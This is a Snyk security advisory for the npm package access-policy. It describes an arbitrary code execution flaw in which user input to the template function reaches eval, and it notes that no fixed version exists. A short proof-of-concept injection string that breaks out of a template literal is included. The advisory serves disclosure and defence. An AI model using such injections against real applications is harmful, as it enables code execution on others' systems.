Arbitrary Code Execution Affecting access-policy package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    6.18% (94th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-ACCESSPOLICY-571490
  • published 5 Jun 2020
  • disclosed 5 Jun 2020
  • credit JHU System Security Lab

How to fix?

There is no fixed version for access-policy.

Overview

access-policy is a package that encodes and decodes policy JSON files for use with web applications.

Affected versions of this package are vulnerable to Arbitrary Code Execution. User input provided to the template function is executed by the eval function resulting in code execution.

PoC

var a = require("access-policy");
var statements = '`;console.log(123);//';
data = {};

a.encode(statements,data)

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
8.6 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    Low
  • Availability (A)
    Low
Expand this section

NVD

9.8 critical